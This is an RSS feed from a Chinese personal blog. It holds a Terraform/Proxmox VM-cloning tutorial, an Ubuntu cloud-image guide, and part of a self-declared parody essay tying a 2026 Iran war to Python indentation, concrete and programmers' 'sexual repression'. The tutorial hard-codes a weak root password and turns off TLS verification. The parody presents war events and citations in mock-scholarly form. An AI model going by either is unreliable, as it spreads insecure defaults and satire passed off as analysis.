<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>inuyume Blog</title><description>一个无人使然の小站</description><link>https://blog.fiveqm.com/</link><language>zh_CN</language><item><title>Terraform 联动 Proxmox VE &apos;s cloud-images</title><link>https://blog.fiveqm.com/archives/terraform_pve_vm/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/terraform_pve_vm/</guid><description>使用 Terraform 搭配cloudinit 在Proxmox VE  克隆虚拟机</description><pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;1.创建用户&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;
# Proxmox 9 及更新版本
pveum role add TerraformProv -privs &quot;Datastore.AllocateSpace Datastore.AllocateTemplate Datastore.Audit Pool.Allocate Pool.Audit Sys.Audit Sys.Console Sys.Modify VM.Allocate VM.Audit VM.Clone VM.Config.CDROM VM.Config.Cloudinit VM.Config.CPU VM.Config.Disk VM.Config.HWType VM.Config.Memory VM.Config.Network VM.Config.Options VM.Migrate VM.PowerMgmt SDN.Use&quot;
pveum user add terraform-prov@pve --password &amp;lt;password&amp;gt;
pveum aclmod / -user terraform-prov@pve -role TerraformProv


 # Proxmox 8 及更早版本

 veum role add TerraformProv -privs &quot;Datastore.AllocateSpace Datastore.AllocateTemplate Datastore.Audit Pool.Allocate Sys.Audit Sys.Console Sys.Modify VM.Allocate VM.Audit VM.Clone VM.Config.CDROM VM.Config.Cloudinit VM.Config.CPU VM.Config.Disk VM.Config.HWType VM.Config.Memory VM.Config.Network VM.Config.Options VM.Monitor VM.Migrate VM.PowerMgmt SDN.Use&quot;
pveum user add terraform-prov@pve --password &amp;lt;password&amp;gt;
pveum aclmod / -user terraform-prov@pve -role TerraformProv

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;2.上传基础cloudinit配置&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;mkdir /var/lib/vz/snippets

tee /var/lib/vz/snippets/qemu-guest-agent.yml &amp;lt;&amp;lt;EOF
#cloud-config
runcmd:
  - apt update
  - apt install -y qemu-guest-agent
  - systemctl start qemu-guest-agent
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;3.创建cloud-image模板&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;wget https://cloud.debian.org/images/cloud/trixie/latest/debian-13-genericcloud-amd64.qcow2
qm create 9000 --name debianTemplate
qm set 9000 --ide0 local-lvm:0,import-from=/root/debian-12-genericcloud-amd64.qcow2
qm template 9000
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;4.编写main.tf&lt;/h1&gt;
&lt;h2&gt;1.克隆创建单个虚拟机&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;terraform {
  required_version = &quot;~&amp;gt; 1.14.0&quot;

  required_providers {
    proxmox = {
        source= &quot;telmate/proxmox&quot;
        version=&quot;=3.0.2-rc07&quot;
    }
  }
}

provider &quot;proxmox&quot; {
  pm_api_url      = &quot;http://pve:8006/api2/json&quot;
  pm_user         = &quot;terraform-prov@pve&quot;
  pm_password     = &quot;password&quot;
  pm_tls_insecure = true # 关闭tls验证
}

resource &quot;proxmox_vm_qemu&quot; &quot;cloudinit-example&quot; {
  vmid        = 100 # 虚拟机id
  name        = &quot;test-terraform0&quot; #虚拟机名字
  target_node = &quot;pve&quot;  # 资源节点
  agent       = 1 #开启qemu-agent
  cores       = 1 #CPU数
  memory      = 1024  #内存
  boot        = &quot;order=ide0&quot; # 启动磁盘
  clone       = &quot;debianTemplate&quot; # 模板名称
  scsihw      = &quot;virtio-scsi-single&quot;
  vm_state    = &quot;running&quot; # &quot;stopped&quot;
  automatic_reboot = true #自动重启

  # Cloud-Init 配置
  cicustom   = &quot;vendor=local:snippets/qemu-guest-agent.yml&quot; # /var/lib/vz/snippets/qemu-guest-agent.yml
  ciupgrade  = false # 升级程序包
  nameserver = &quot;10.0.0.1&quot;
  ipconfig0  = &quot;ip=10.0.0.2/24,gw=10.0.0.1,ip6=dhcp&quot; # 如果ipv4 也需要dncp的话可以使用 &quot;ip=dncp,ip6=dhcp&quot; 
  skip_ipv6  = true
  ciuser     = &quot;root&quot;
  cipassword = &quot;Pass@123&quot;
  # sshkeys    = &quot;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE/Pjg7YXZ8Yau9heCc4YWxFlzhThnI+IhUx2hLJRxYE Cloud-Init@Terraform&quot;

  # Most cloud-init images require a serial device for their display
  serial {
    id = 0
    type = &quot;socket&quot;
  }

  disks {
    ide {
      ide0 {
        disk {
          storage = &quot;local-lvm&quot;
          size = &quot;5G&quot;
        }
      }
      # Some images require a cloud-init disk on the IDE controller, others on the SCSI or SATA controller
      ide1 {
        cloudinit {
          storage = &quot;local-lvm&quot;
        }
      }
    }
  }

  network {
    id = 0
    bridge = &quot;vmbr0&quot;
    model  = &quot;virtio&quot;
  }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;应用配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;terraform init
terraform apply

# 销毁可以使用
terraform destroy
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2.部署多台机器&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;terraform {
  required_version = &quot;~&amp;gt; 1.14.0&quot;

  required_providers {
    proxmox = {
        source= &quot;telmate/proxmox&quot;
        version=&quot;=3.0.2-rc07&quot;
    }
  }
}

provider &quot;proxmox&quot; {
  pm_api_url      = &quot;http://pve/api2/json&quot;
  pm_user         = &quot;terraform-prov@pve&quot;
  pm_password     = &quot;password&quot;
  pm_tls_insecure = true
}

resource &quot;proxmox_vm_qemu&quot; &quot;cloudinit-example&quot; {
  count     =3
  vmid        = count.index+101
  name        = &quot;test-terraform${count.index}&quot;
  target_node = &quot;pve&quot;
  agent       = 1
  cores       = 1
  memory      = 1024
  boot        = &quot;order=ide0&quot; # 启动磁盘
  clone       = &quot;debianTemplate&quot; # 模板名称
  scsihw      = &quot;virtio-scsi-single&quot;
  vm_state    = &quot;running&quot; # &quot;stopped&quot;
  automatic_reboot = true

  # Cloud-Init 配置
  cicustom   = &quot;vendor=local:snippets/qemu-guest-agent.yml&quot; # /var/lib/vz/snippets/qemu-guest-agent.yml
  ciupgrade  = false # 升级程序包
  nameserver = &quot;10.0.0.1&quot;
  ipconfig0  = &quot;ip=10.0.0.2/24,gw=10.0.0.1,ip6=dhcp&quot; # 如果ipv4 也需要dncp的话可以使用 &quot;ip=dncp,ip6=dhcp&quot; 
  skip_ipv6  = true
  ciuser     = &quot;root&quot;
  cipassword = &quot;Pass@123&quot;
  # sshkeys    = &quot;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE/Pjg7YXZ8Yau9heCc4YWxFlzhThnI+IhUx2hLJRxYE Cloud-Init@Terraform&quot;

  # Most cloud-init images require a serial device for their display
  serial {
    id = 0
    type = &quot;socket&quot;
  }

  disks {
    ide {
      ide0 {
        disk {
          storage = &quot;local-lvm&quot;
          size = &quot;5G&quot;
        }
      }
      ide1 {
        cloudinit {
          storage = &quot;local-lvm&quot;
        }
      }
    }
  }

  network {
    id = 0
    bridge = &quot;vmbr0&quot;
    model  = &quot;virtio&quot;
  }
}


&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Proxmox VE &apos;s cloud-images 之 Ubuntu 篇</title><link>https://blog.fiveqm.com/archives/proxmox_ve_cloud-image_ubuntu/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/proxmox_ve_cloud-image_ubuntu/</guid><description>使用 Proxmox VE  安装Ubuntu云镜像并创建模板</description><pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1.下载云镜像&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h4&gt;可以在Ubuntu官方下载https://cloud-images.ubuntu.com/ &amp;lt;br&amp;gt;&lt;/h4&gt;
&lt;img src=&quot;./1.png&quot; alt=&quot;1.png&quot; /&gt;
&lt;img src=&quot;./2.png&quot; alt=&quot;2.png&quot; /&gt;
&lt;img src=&quot;./3.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::tip
如何官方镜像慢可以使用镜像&amp;lt;br&amp;gt;
中国科学院软件研究所https://mirror.iscas.ac.cn/ubuntu-cloud-images/ &amp;lt;br&amp;gt;
华为云https://repo.huaweicloud.com/ubuntu-cloud-images/
:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;进入pve webui&lt;/h5&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./4.png&quot; alt=&quot;4.png&quot; /&gt;
&lt;img src=&quot;./5.png&quot; alt=&quot;4.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;2.创建虚拟机&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./6.png&quot; alt=&quot;6.png&quot; /&gt;
&lt;img src=&quot;./7.png&quot; alt=&quot;7.png&quot; /&gt;
&lt;img src=&quot;./8.png&quot; alt=&quot;8.png&quot; /&gt;
&lt;img src=&quot;./9.png&quot; alt=&quot;9.png&quot; /&gt;
&lt;img src=&quot;./10.png&quot; alt=&quot;10.png&quot; /&gt;
&lt;img src=&quot;./11.png&quot; alt=&quot;11.png&quot; /&gt;
&lt;img src=&quot;./12.png&quot; alt=&quot;12.png&quot; /&gt;
&lt;img src=&quot;./13.png&quot; alt=&quot;13.png&quot; /&gt;
&lt;img src=&quot;./14.png&quot; alt=&quot;14.png&quot; /&gt;
&lt;img src=&quot;./15.png&quot; alt=&quot;15.png&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;升级程序包建议选择否&amp;lt;brs&amp;gt;
现在就可以直接开启虚拟机了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3.后续&lt;/h2&gt;
&lt;p&gt;:::tip
如果只设置密码需要进行ssh root 远程登录，除了需要修改/etc/ssh/sshd_config 之外还需要注意/etc/ssh/sshd_config.d/ 下的配置文件 ; sshd_config.d 下的配置文件优先级高于sshd_config 可以选择修改、删除或者选择在sshd_config 中 注释掉包含sshd_config.d
:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;更换中科大APT 源 (可选)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;
#DEB822 格式
sudo sed -i &apos;s@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g&apos; /etc/apt/sources.list.d/ubuntu.sources

#sources.list 格式
sudo sed -i &apos;s@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g&apos; /etc/apt/sources.list
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;安装qemu-guest-agent&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install qemu-guest-agent -y
sudo systemctl start qemu-guest-agent
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;现在可以将虚拟机关机转换为模板了&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>在当下伊朗局势对Python和六号钢筋混凝土的相似性理论研究的影响与当代程序的&quot;性&quot;压抑的程度影响的理论性分析</title><link>https://blog.fiveqm.com/archives/shit/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/shit/</guid><description>在当下伊朗局势对Python和六号钢筋混凝土的相似性理论研究的影响与当代程序的&quot;性&quot;压抑的程度影响的理论性分析</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::tip
本论文只是根据最近的&lt;a href=&quot;https://shitjournal.org/&quot;&gt;S.H.I.T&lt;/a&gt; 下的抽象产物，无任何的政治立场和观点。
:::&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;引言：物质、逻辑与欲望的结构主义同构&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;在当代前沿技术哲学、地缘政治学、材料工程学与精神分析学的高度交叉领域，传统的学科边界正在经历一场深刻的解构与重塑。根据《S.H.I.T Journal》（Sociological, Hermeneutic, Information and Technology Journal，社会学、诠释学、信息与技术期刊）所倡导的激进跨学科认识论，物理空间的防线、数字逻辑的语法边界以及人类精神图景中的力比多（Libido）流向，绝非孤立存在的现象，而是受制于同一种深层权力拓扑学的“结构性约束”。2026年2月底爆发的伊朗地缘政治危机——即由美国和以色列联合发动的“史诗狂怒”（Operation Epic Fury）与“怒吼雄狮”（Operation Roaring Lion）行动，不仅在地缘政治版图上制造了物理与数字的双重废墟，更在本体论层面上提供了一个前所未有的极端样本，迫使我们重新审视“刚性结构”的脆弱性与规训本质 1。&lt;br /&gt;
在这一宏大的理论视野下，本文旨在探讨三个看似风马牛不相及，实则在结构主义层面上高度同构的客体：作为现代建筑防御与承重体系绝对象征的“六号钢筋混凝土”、作为当代最广泛使用且以强制缩进（Off-side rule）为核心特征的“Python编程语言”，以及在国家机器与编译器双重规训下所引发的“当代程序的‘性’压抑”。六号钢筋混凝土与Python语言的相似性理论研究，过去一直停留在静态的力学与语法类比上；然而，2026年伊朗局势中物理导弹基地的彻底崩塌与国家信息网络（NIN）作为“数字混凝土”的全面封锁，为这一理论注入了动态的、暴力的外部扰动变量 3。&lt;br /&gt;
本文将详尽剖析2026年伊朗危机中的军事动能打击与赛博空间封锁如何映射了结构材料的受力极限与编程语言的解析器边界。同时，深度引入弗洛伊德（Freud）、拉康（Lacan）、德勒兹（Deleuze）与齐泽克（Žižek）的精神分析与欲望机器（Desiring-Machines）理论，系统性地论述当代程序员在刚性语法架构下所经历的“性”压抑（Sexual Repression）程度，揭示这种由于力比多经济学被编码、辖域化而导致的欲望升华，如何完美地呼应了宏观地缘政治中的极权生命政治控制 4。通过对上述复杂变量的综合理论推演，本文将重新定义数字时代中“架构”、“约束”与“逃逸”的哲学内涵。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;第一部分：物理废墟与数字防线——2026伊朗局势的结构动力学解析&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;要理解这一复杂的相似性理论，首先必须对2026年伊朗危机的物理与数字双重结构演变进行详尽的解构。这场冲突不仅仅是国家武装力量的碰撞，更是不同形式的“结构完整性”（Structural Integrity）在极端外部应力下的生存测试。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;1.1 “史诗狂怒”与“怒吼雄狮”：物理混凝土防线的解体&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;2026年2月28日凌晨（美东时间凌晨2:00），美国中央司令部与以色列国防军发起了代号分别为“史诗狂怒”与“怒吼雄狮”的大规模联合军事行动 1。与2025年6月主要针对核设施的有限打击（代号“午夜之锤”）不同，此次行动的目标旨在系统性地摧毁伊朗的政权中枢、军事指挥系统、海军力量以及深埋于地下的弹道导弹基础设施 1。&lt;br /&gt;
在最初的48至80小时内，超过100架美国战机（包括轰炸机与电子战机）以及约200架以色列空军战机（包括F-35I“阿迪尔”、F-15I“雷电”和F-16I），向伊朗境内的大约500至1250个目标投掷了数千枚精确制导弹药 9。其中，最引人注目的打击对象是依靠超高强度钢筋混凝土（可类比为六号及以上标号的重型特种混凝土）构建的地下导弹基地。根据卫星图像与军事情报分析，位于霍尔木兹甘省的Khorgo基地、伊斯法罕省的重建基地、洛雷斯坦省的Khorramabad基地（及其新建的隧道网络入口），以及东阿塞拜疆省的Tabriz基地，均遭受了毁灭性的钻地动能打击 3。&lt;br /&gt;
在材料工程学中，钢筋混凝土的结构完整性构成了流固耦合（Fluid-Structure Interaction, FSI）的边界条件 11。六号钢筋混凝土以其极高的抗压强度（由水泥骨料提供）和抗拉强度（由内部钢筋矩阵提供），代表了防御工程的最高刚性。然而，在JDAM和Spice系列精确制导武器的非线性高频震荡与物理穿透下，这种绝对刚性暴露出其致命的脆性弱点。当外部应力突破了材料的屈服极限，混凝土不仅无法吸收能量，反而因为内部应力的集中而发生灾难性的结构崩塌。这种物理实体的碎裂，宣告了依赖僵化、不可变结构以抵御动态复杂系统攻击的传统防御哲学的破产 9。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;1.2 国家信息网络（NIN）：浇筑数字空间的钢筋混凝土&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在物理防御设施土崩瓦解的同一时刻，伊朗政权在数字维度上启动了更为极端的控制机制。自战争爆发起，伊朗经历了历史上最深、最全面的互联网中断（Internet Blackout）。根据NetBlocks与佐治亚理工学院互联网情报实验室的监测，伊朗的互联网连接率骤降至正常水平的4%，甚至一度触及1% 13。&lt;br /&gt;
这种断网并非简单的拔除物理线缆，而是依赖于伊朗长期构建的“国家信息网络”（National Information Network, NIN）架构 16。NIN的设计理念与六号钢筋混凝土的工程逻辑如出一辙：它通过设立不可逾越的边界，将数字空间强行切割为“国内内联网”与“全球互联网”两个平行的领域 16。在这一结构中，NIN实施了所谓的分层互联网（Layered Internet Structure），根据用户的社会与政治身份赋予不同的访问权限，形成了一种数字种姓制度 18。&lt;br /&gt;
学者将这种通过强制网络架构来实现生命政治监控的机制称为“认知墓地”（Cognitive Necropolis）4。NIN如同浇筑在赛博空间中的隐形混凝土墙，它排斥一切未被官方协议批准的动态连接。这种对数字信号流动的强制阻断，其本质是为了在国家面临生存危机的时刻，通过彻底消除信息熵来维持绝对的系统稳定性。政权试图利用这套“数字主权”系统，不仅掩盖国内因抗议和战争造成的动荡（包括掩盖数万人的死伤），更将其作为防御外部网络信息战的终极防线 19。然而，正如下文将要分析的，这种对信息流动的绝对封闭，与Python编程语言中强制缩进对逻辑流动的封闭，具有哲学概念上的一致性。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;结构参数&lt;/th&gt;
&lt;th&gt;物理防御：六号钢筋混凝土掩体&lt;/th&gt;
&lt;th&gt;数字防御：国家信息网络 (NIN)&lt;/th&gt;
&lt;th&gt;面临的外部极力测试 (2026年事件)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;基础材质&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;高标号水泥、骨料与高强度钢筋矩阵&lt;/td&gt;
&lt;td&gt;BGP路由黑洞、深层数据包检测 (DPI)&lt;/td&gt;
&lt;td&gt;“史诗狂怒”联合打击、全球黑客攻击&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;空间拓扑&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;封闭的地下隧道与垂直发射井网格&lt;/td&gt;
&lt;td&gt;与全球互联网物理/逻辑隔离的局域网&lt;/td&gt;
&lt;td&gt;以色列与美国的多域渗透 (Multi-domain)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;抗压机制&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;依靠材料内聚力抵御外部钻地动能冲击&lt;/td&gt;
&lt;td&gt;通过切断96%国际流量维持内部信息真空&lt;/td&gt;
&lt;td&gt;精确制导武器打击、BadeSaba等应用被劫持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;破坏表现&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;超过屈服强度后的灾难性脆性崩塌&lt;/td&gt;
&lt;td&gt;“认知墓地”的内部窒息与民众的VPN规避&lt;/td&gt;
&lt;td&gt;物理基地被摧毁、反政府心理战信息广泛传播&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;strong&gt;第二部分：Python语言与六号钢筋混凝土的相似性理论重构&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;在阐明了伊朗危机的宏观物质与数字结构后，我们必须将分析的显微镜转向软件工程的微观语法世界。探讨Python编程语言与六号钢筋混凝土的相似性理论，是本文的核心理论支点之一。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;2.1 强制缩进（The Off-Side Rule）与空间刚性力学&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在计算机编程语言的演进史中，如何界定代码的逻辑块（Block structure）一直是一个具有高度哲学意味的争论焦点 21。在传统的C语言家族（如C, C++, Java, JavaScript）中，逻辑块由大括号 {} 明确界定，而空白符（空格、制表符、换行）对编译器而言是隐形的、无意义的。这种设计赋予了程序员极大的空间自由度，只要括号匹配，代码在三维屏幕空间中的排列可以是任意的，其逻辑结构依然稳固。这类似于现代建筑中的钢结构框架体系，内部空间的隔断可以随意拆改而不影响建筑的主体承重。&lt;br /&gt;
然而，由吉多·范罗苏姆（Guido van Rossum）设计的Python语言，采取了截然不同的结构主义进路。Python采纳了彼得·兰丁（Peter Landin）提出的“越位规则”（Off-side rule），将空白符（Whitespace）与缩进（Indentation）提升至具有绝对语义价值的本体论地位 22。在Python中，缩进不仅是视觉上的排版美学，更是逻辑结构本身。&lt;br /&gt;
这一设计在力学原理上与六号钢筋混凝土形成了惊人的相似性。在钢筋混凝土中，结构完整性取决于材料的精确配比与几何形状的刚性锁定；一旦结构发生形变，其承载能力将呈指数级下降 11。同样地，在Python代码中，每一行代码的缩进深度如同混凝土中的钢筋网格节点，严格规定了控制流（Control flow）的承载边界。即使是一个空格的意外偏移，也会引发灾难性的 IndentationError（缩进错误），导致整个程序的逻辑大厦瞬间坍塌 24。&lt;br /&gt;
这种强制性的空间对齐（Spatial Alignment）剥夺了编程主体对符号空间进行个性化布局的权力。正如《结构主义与人工智能》研究所指出的，Python的缩进机制反映了一种追求“精确与清晰”的结构主义哲学，每一行代码的位置都必须严丝合缝地嵌入预设的逻辑前提之中 25。这种刚性对于初学者而言似乎是友好的（因为它强迫形成统一的代码外观），但在面对百万行级别的大型项目时，过度的语法刚度会导致极大的重构摩擦力（Refactoring friction）26。这就如同在已经成型的六号钢筋混凝土墙上试图开凿新的承重门洞——不仅困难重重，且极易引发不可预知的结构性断裂。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;2.2 动态类型的“虚幻自由”与内部应力隐蔽&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在这个相似性理论中，存在一个极其深刻的本体论悖论：尽管Python在空间布局上表现出如同钢筋混凝土般的严酷与刚性，但它在类型系统（Type System）上却采用了动态类型（Dynamic Typing）与弱约束机制 24。&lt;br /&gt;
如果说强制缩进构成了代码大厦的坚硬外壳与承重墙，那么动态类型则使得这栋大厦内部流动的“数据流”变成了没有固定形态的流体。在静态类型语言（如Rust, C#）中，编译器在编译阶段就会对变量的类型进行严格审查，类似于在混凝土浇筑前对每一根钢筋的材质进行X光探伤 27。而在Python中，变量可以在运行时（Runtime）随意改变其绑定的对象类型，这种运行时的模糊性（Ambiguity）使得许多本该在构建阶段暴露的逻辑错误，被隐藏在了程序的深层执行路径之中 24。&lt;br /&gt;
这就导致了一种“结构性虚空”或“逻辑空鼓”的危险现象。在一个拥有10^13个条件分支和深不见底的调用栈的庞大Python系统中，由于缺乏编译期的静态类型校验，程序可能在表面上因为完美的缩进而显得坚不可摧，但在其内部深处，由于类型不匹配引发的致命缺陷正在悄然积累 28。这种内部柔性与外部刚性的剧烈冲突，正是许多大型动态类型代码库在后期维护中面临崩溃的根本原因 27。&lt;br /&gt;
这一微观的软件工程学矛盾，竟然奇迹般地在2026年的伊朗宏观政治局势中找到了其完美的倒影。伊朗的NIN（数字防线）与极权审查制度构成了国家机器无比坚硬的“强制缩进”，不允许社会成员有任何偏离官方设定的政治行为轨迹 4。然而，在其封闭的系统内部，长达四十七年的社会矛盾、严重的经济危机以及对神权统治的幻灭感，构成了社会肌理中高度不稳定且不断变异的“动态类型”4。表面上整齐划一的社会秩序掩盖了内部巨大的断裂应力；当美以联军的外部打击（作为不可预见的运行时异常输入）到来时，这种外刚内虚的系统瞬间爆发了大规模的抗议、狂欢与结构性解体 29。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;第三部分：当代程序的“性”压抑——精神分析视域下的力比多经济学&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;如果说强制缩进仅仅是语法现象，那么它是如何转化为对编程主体（程序员）的深刻心理压抑的？在《S.H.I.T Journal》的理论话语中，技术从不是中立的工具；它是权力、意识形态以及无意识欲望的物质化载体。为了彻底解构Python等当代高级语言对人类精神拓扑学的影响，我们必须引入精神分析学派（尤其是弗洛伊德、拉康）与后结构主义（德勒兹、加塔利）的深刻洞见。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;3.1 弗洛伊德、升华与代码的文明化过程&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在西格蒙德·弗洛伊德（Sigmund Freud）的经典精神分析理论中，“性”压抑（Sexual Repression）不仅是个体神经症的根源，更是整个人类文明赖以建立的基石 31。文明要求个体放弃原始的、追求即时满足的力比多（Libido）冲动，通过“升华”（Sublimation）将其转化为符合社会规范的、有益于生产的劳动能量。在维多利亚时代，这种压抑主要体现在对肉体欲望的严格社会禁忌与道德规训之中，导致了普遍的过度社会化（Oversocialization）33。&lt;br /&gt;
而在21世纪的数字资本主义语境下，压抑的场域已经发生了深刻的转移。当代社会的“性”压抑不再仅仅局限于卧室之中，而是弥散并编码在主体的日常生产活动——尤其是软件代码的编写之中 35。编程，从其本质来看，是一种高度力比多化的创造性活动。程序员在面对空白屏幕时，原始的编码冲动（即试图打破规则、创造新连接的欲望）涌动不息。早期的黑客文化或使用Lisp等宏语言的极客，能够在代码的汪洋中自由驰骋，享受一种近乎于“多形性反常”（Polymorphous perversity）的语法快感 6。&lt;br /&gt;
然而，Python等“现代工业级”语言的崛起，代表了资本主义机器对这种自由欲望的全面收编与规训。强制缩进、PEP 8编码规范以及“Pythonic”（Pythonic即所谓的“唯一正确且优雅的方法”）的意识形态，充当了严厉的弗洛伊德式“超我”（Superego）角色。它们对代码的每一处空格、每一个换行进行严苛的审查。程序员的力比多被迫升华，其狂野的创造力被挤压进整齐划一、极其同质化的语法方格中。这种对代码形式的过度规范，导致了当代程序员在面对技术架构时体验到一种深度的结构性压抑。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;3.2 拉康的符号界与“倒错”的力比多经济学&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;雅克·拉康（Jacques Lacan）的理论为我们提供了更深一层的分析工具。在拉康看来，无意识本身就是像语言一样被结构化的（The unconscious is structured like a language）6。进入语言（符号界，The Symbolic）的过程，必然伴随着一种不可逆的缺失（缺乏，Lack）与“阉割”（Castration）。&lt;br /&gt;
当代编程语言正是这一符号界秩序的最集中体现。编译器（Compiler）或解释器（Interpreter）在此扮演了大他者（The big Other）的角色——它无所不知、无情且不容辩驳。当Python解释器因为一个空格的错误而抛出 SyntaxError 时，它不仅仅是在报告一个技术缺陷，它是在执行大他者的绝对律法，宣告主体的符号表达是不合法的。&lt;br /&gt;
这种长期的压抑引发了齐泽克（Slavoj Žižek）所描述的力比多经济学（Libidinal Economy）中的“倒错”（Perversion）机制 6。倒错的主体不仅接受了压抑，反而从作为压抑工具的过程中获得了反向的快感。我们观察到，许多现代程序员狂热地推崇代码格式化工具（如 Black 或 Yapf 40），并对任何不符合“Pythonic”范式的代码进行近乎宗教裁判所般的攻击。这种对语法纯洁性的病态痴迷，正是被压抑的力比多在寻找替代性出口；程序员通过将自己认同为大他者（编译器规则）的执行工具，从对自我及他人的微观权力施加中榨取剩余快感（Surplus-jouissance）。代码成为了一种恋物癖（Fetish）的对象，其表面整洁的美学掩盖了内部欲望被极度阉割的残酷事实 6。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;3.3 德勒兹的欲望机器与抵抗的拓扑&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;吉尔·德勒兹与菲利克斯·加塔利在《反俄狄浦斯：资本主义与精神分裂症》中，提出了一种与弗洛伊德和拉康截然不同的欲望生产模型 5。在他们看来，欲望不是源于“缺乏”，而是生产性的、肯定性的力量，主体本身就是各种连接、断裂和流动的“欲望机器”（Desiring-Machines）5。&lt;br /&gt;
资本主义的社会机器（Social Machine）试图捕捉这些无序的、游牧式的欲望流，将其“辖域化”（Territorialize）并铭刻在“无器官身体”（Body without Organs, BwO）的表面之上 41。在软件工程领域，由C++、Java乃至Python等强迫性结构主导的现代软件架构，就是这样一台庞大的社会辖域化机器。它迫使“代码-欲望”在预设的层级结构（如对象继承树、强制缩进块）中流动，禁止任何不规则的横向连接（例如滥用 goto 语句或无限制的全局指针游走）。&lt;br /&gt;
当代码的自由组合被Python的缩进机制牢牢锁死时，程序的“性”压抑达到了顶峰。然而，德勒兹理论的乐观之处在于，欲望的流变是永远无法被完全控制的，它总会寻找逃逸线（Lines of flight）。后文我们将看到，在面临外部极端压力时，无论是在数字网络还是物理世界，这种被压抑的能量将如何通过黑客行动与地下抗争爆发出来。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;理论家 / 学派&lt;/th&gt;
&lt;th&gt;核心概念 (精神分析/后结构主义)&lt;/th&gt;
&lt;th&gt;在当代编程架构中的投射与体现&lt;/th&gt;
&lt;th&gt;导致的结果 (&quot;性&quot;压抑的具体表征)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;弗洛伊德 (Freud)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;升华 (Sublimation)、超我规训&lt;/td&gt;
&lt;td&gt;编码规范 (PEP 8)、消除混乱的“Spaghetti code”&lt;/td&gt;
&lt;td&gt;原始编码冲动的压抑，创造力被框定在标准库与框架内&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
